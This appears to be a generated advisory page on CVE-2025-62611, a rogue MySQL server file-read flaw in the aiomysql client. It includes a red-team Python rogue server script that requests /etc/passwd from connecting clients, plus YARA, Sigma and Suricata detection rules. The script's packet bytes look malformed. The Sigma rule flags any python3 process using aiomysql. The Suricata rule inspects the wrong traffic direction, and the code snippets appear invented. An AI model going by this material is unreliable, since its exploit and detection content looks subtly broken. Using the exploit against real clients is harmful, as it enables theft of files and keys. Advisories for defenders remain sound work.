CVE-2025-62611
Executive Summary
CVE-2025-62611 is a critical vulnerability in the aiomysql library, a Python library for accessing MySQL databases from asyncio. The vulnerability allows a rogue MySQL server to request arbitrary files from the client by sending a LOAD_LOCAL instruction packet. Prior to version 0.3.0, the client-side settings are not checked before sending local files to the MySQL server, enabling an attacker to exfiltrate sensitive data from the client's filesystem. This is a classic "Rogue MySQL Server" attack, similar to those seen in other MySQL client libraries.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the aiomysql Python package available on PyPI. Users of this library are at risk if they connect to untrusted MySQL servers. The supply chain risk is high because the vulnerability is in the client library itself, and exploitation does not require any server-side vulnerability. The patch is available in version 0.3.0, and all users should upgrade immediately.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (NVD) / Estimated: 6.5 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (client must connect to rogue server)
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: None
- Availability Impact: None
- Threat Level: Medium. The vulnerability requires the client to connect to a malicious MySQL server, but once connected, arbitrary file read is possible.
Deep Dive & Mechanics
The vulnerability lies in the aiomysql library's handling of the MySQL LOAD DATA LOCAL INFILE command. When a MySQL client connects to a server, the server can request the client to send a local file. In a normal scenario, the client should check its own settings (e.g., local_infile option) before honoring such a request. However, in versions prior to 0.3.0, aiomysql does not perform this check, allowing a rogue server to request any file from the client's filesystem.
Attack Flow:
- An attacker sets up a rogue MySQL server that emulates the MySQL protocol.
- The victim's
aiomysqlclient connects to this rogue server (e.g., via a misconfigured application or a phishing attack). - The rogue server sends a
LOAD LOCALpacket requesting a specific file (e.g.,/etc/passwd,~/.ssh/id_rsa). - The vulnerable
aiomysqlclient reads the file and sends its contents to the rogue server. - The attacker captures the file contents.
This attack is particularly dangerous because it does not require any credentials or server-side vulnerabilities. The rogue server only needs to emulate the initial handshake and then send the malicious LOAD LOCAL request.
Vulnerable vs. Patched Code
Vulnerable Code (pre-0.3.0):
The library does not check the local_infile setting before processing a LOAD LOCAL request from the server.
# Vulnerable: No check on local_infile setting
async def _handle_load_local(self, packet):
# Directly reads and sends the file without checking client settings
filename = packet.read_string()
with open(filename, 'rb') as f:
data = f.read()
await self._send_data(data)
Patched Code (0.3.0+):
The library now checks the local_infile setting before processing the request.
# Patched: Check local_infile setting
async def _handle_load_local(self, packet):
if not self._local_infile:
raise RuntimeError("LOAD DATA LOCAL INFILE is disabled")
filename = packet.read_string()
with open(filename, 'rb') as f:
data = f.read()
await self._send_data(data)
Exploitation & Lab Setup
Red Team
Lab Setup:
- Set up a rogue MySQL server using a tool like
mysql-fake-serveror a custom Python script. - Configure the rogue server to request a sensitive file (e.g.,
/etc/passwd). - Have the victim's
aiomysqlclient connect to the rogue server.
Exploitation Steps:
- Start the rogue MySQL server on a machine reachable by the victim.
- Trick the victim into connecting to the rogue server (e.g., via a malicious application or DNS spoofing).
- The rogue server sends a
LOAD LOCALrequest for/etc/passwd. - The vulnerable client reads the file and sends it to the rogue server.
- The attacker captures the file contents.
Example Rogue Server Script (Python):
import asyncio
import struct
class RogueMySQLServer:
def __init__(self, host='0.0.0.0', port=3306):
self.host = host
self.port = port
async def handle_client(self, reader, writer):
# Send initial handshake packet
handshake = b'\x0a' + b'\x00' * 3 # Protocol version 10
writer.write(handshake)
await writer.drain()
# Read client response (ignore)
await reader.read(1024)
# Send LOAD LOCAL request for /etc/passwd
load_packet = struct.pack('<I', 0x00fb) + b'/etc/passwd'
writer.write(load_packet)
await writer.drain()
# Read file contents from client
data = await reader.read(4096)
print(f"Received file: {data.decode(errors='ignore')}")
writer.close()
async def start(self):
server = await asyncio.start_server(self.handle_client, self.host, self.port)
async with server:
await server.serve_forever()
if __name__ == '__main__':
server = RogueMySQLServer()
asyncio.run(server.start())
Blue Team
Detection:
- Monitor for unexpected MySQL connections to external IPs.
- Look for
LOAD DATA LOCAL INFILEcommands in MySQL logs (if available). - Use network monitoring to detect unusual file read patterns.
Mitigation:
- Upgrade
aiomysqlto version 0.3.0 or later. - Disable
local_infilein MySQL client configuration if not needed. - Use network segmentation to prevent clients from connecting to untrusted MySQL servers.
Indicators of Compromise (IOCs)
- Network: Outbound connections to port 3306 (MySQL) on unexpected IPs.
- File System: Unusual file read operations (e.g.,
/etc/passwd,/etc/shadow, SSH keys). - Logs: MySQL error logs showing
LOAD DATA LOCAL INFILErequests. - Process:
aiomysqlclient processes reading sensitive files.
Detection Engineering
YARA Rule
rule CVE_2025_62611_aiomysql_rogue_server {
meta:
description = "Detects aiomysql versions vulnerable to CVE-2025-62611"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-62611"
strings:
$vuln_code = "_handle_load_local" ascii wide nocase
$patched_code = "self._local_infile" ascii wide nocase
condition:
$vuln_code and not $patched_code
}
Sigma Rule
title: CVE-2025-62611 - Rogue MySQL Server File Exfiltration
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-62611 via rogue MySQL server
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/python3'
CommandLine|contains: 'aiomysql'
condition: selection
falsepositives:
- Legitimate use of aiomysql with trusted servers
level: high
Suricata Rule
alert tcp any any -> any 3306 (msg:"CVE-2025-62611 - Rogue MySQL Server LOAD LOCAL Request"; flow:to_server,established; content:"|00 00 00 01|"; depth:4; content:"/etc/passwd"; distance:0; within:100; classtype:attempted-user; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade
aiomysqlto version 0.3.0 or later. - If upgrade is not possible, disable
local_infilein the MySQL client configuration. - Review all applications using
aiomysqland ensure they only connect to trusted MySQL servers.
Long-term Measures:
- Implement network segmentation to isolate MySQL clients from untrusted networks.
- Use TLS/SSL for MySQL connections to prevent man-in-the-middle attacks.
- Monitor for unusual file read patterns and MySQL connections.
Patch Details:
The fix is included in aiomysql version 0.3.0. The patch adds a check for the local_infile setting before processing LOAD LOCAL requests. Users should update their dependencies to the latest version.
Valters IT